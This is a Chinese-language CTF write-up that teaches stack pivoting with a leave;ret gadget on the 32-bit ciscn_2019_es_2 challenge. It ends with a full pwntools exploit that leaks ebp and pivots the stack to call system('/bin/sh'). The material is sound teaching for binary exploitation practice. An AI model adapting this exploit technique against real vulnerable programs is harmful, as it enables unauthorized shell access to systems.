0x00 什么是栈迁移

栈迁移主要是为了解决栈溢出空间大小不足的问题

简单的说:就是通过修改ebp指针来修改栈帧的位置和大小

0x01 栈迁移的实现

通过将ebp覆盖成我们构造的fake_ebp ,然后利用leave_ret这个gadget将esp劫持到fake_ebp的地址上。

什么是leave_ret

终端输入下面这行命令,就可以看到gadget

$ ROPgadget --binary ciscn_2019_es_2

leave:

mov esp,ebp;
pop ebp;

ret:

pop eip

假如,有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这个样子:

当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入

在程序call调用之后,会存在这样的指令

mov esp,ebp
pop ebp
ret

当我们挨个去执行的时候会出现这样的情况

首先是 mov esp,ebp 执行完以后变成了这个样子:

然后 pop ebp 执行完后就是

别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的减一个单位

这时候就到 ret 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处

构造的内容主要是把 fake ebp1 处写成 fake ebp2 的地址

read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样

首先是 mov esp,ebp 执行完成后效果如下:

然后是 pop ebp,执行完成后:

此时再执行 ret 命令,他就会执行我们构造在 bss 段后者 data 段的那个函数

这样我们就成功的将栈迁移到了bss段

0x02 例题

点击下载例题(ciscn_2019_es_2)

1)查看程序信息

国际惯例

$ checksec ./ciscn_2019_es_2

32位程序,开启NX保护

2)IDA pro分析

程序拖到ida里分析

看到vul()函数,直接跟进

看到程序获取我们两次输入,都是获取输入到s变量中

但是s的大小只有0x28,read可以让我们输入0x30,存在溢出

但是只能溢出8个字节,刚刚好覆盖ebp和返回地址

在ida中看到一个hack()函数,但是点开一看,啥用没有

没有可以直接返回shell的函数,而且溢出的长度太短,不够我们写rop链

那么就只能用到栈迁移啦

3)解题思路

printf会将s打印出来,如果我们正好输入0x28个字节,那么printf会把后面的ebp的值也打印出来,这就泄漏了ebp,我们就可以根据相应的偏移来定位栈的位置。

首先先泄漏ebp

pay = 'a' * 0x27 + 'b'
r.send(pay)
r.recvuntil('b')
ebp_addr = u32(r.recv(4))
print 'ebp_addr >>>>>>>> ' + hex(ebp_addr)

泄漏出ebp的值后,我们还需要计算一下相对的偏移

这个便宜点是,我们开始输入的地方,到ebp的偏移,用gdb动态调试一下

$ gdb ./ciscn_2019_es_2

先输入r运行,然后ctrl + c中断一下,再ni单步即可

这里我们随便输入四个a

直接看寄存器窗口

ebp的值为0xffffd3f8,而我们输入的位置地址为0xffffd3c0

那么偏移就是0xffffd3f8 - 0xffffd3c0 = 0x38

知道了偏移和ebp,那么我们就可以算出输入的起始地址s_addr = ebp_addr - 0x38

接下来我们就可以构造payload了

我们来分析一下这个payload

首先这个函数vuln结束时本来就要leave_ret

这时esp指向fake ebp的地址,pop ebp时将fake_ebp的值取出,所以ebp此时指向fake_ebp即s_addr

然后再leave_ret,此时esp指向ebp即s的地址,ebp的地址已经无所谓了,所以s的前4个字节无所谓,可以随便填,此时esp指向system,ebp管他呢

然后执行ret 即pop eip  所以下一步要执行system函数

这里的bin_sh_addr是需要我们根据输入的长度来计算的,也就是s_addr + 0x10

4)完整exp

# -*- coding: utf-8 -*-
from pwn import *
pro = './ciscn_2019_es_2'
context.terminal = ["tmux","splitw","-h"]
elf = ELF(pro)
r = process(pro)
#r = remote('node3.buuoj.cn',27480)
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'

rv = lambda x:r.recv(x)
ru = lambda x:r.recvuntil(x)
rud = lambda x:r.recvuntil(x,drop=True)
rl = lambda x:r.recvline()
sd = lambda x:r.send(x)
sl = lambda x:r.sendline(x)
sa = lambda x,y:r.sendafter(x,y)
sla = lambda x,y:r.sendlineafter(x,y)

if args.G:
    gdb.attach(proc.pidof(r)[0])

leave_ret = 0x080484b8
system_addr = elf.plt['system']
main_addr = elf.symbols['main']

pay = 'a' * 0x27
pay += 'b'
ru('name?')
sd(pay)
ru('b')

ebp_addr = u32(rv(4))
print 'ebp_addr >>>>>>>> ' + hex(ebp_addr)
s_addr = ebp_addr - 0x38
print 's_addr >>>>>>>> ' + hex(s_addr)
bin_sh_addr = s_addr + 0x10

pay1 = 'aaaa'
pay1 += p32(system_addr)
pay1 += p32(0xdeadbeef)
pay1 += p32(bin_sh_addr)
pay1 += '/bin/sh\x00'
pay1 = pay1.ljust(0x28,'\x00')
pay1 += p32(s_addr)
pay1 += p32(leave_ret)

sd(pay1)

r.interactive()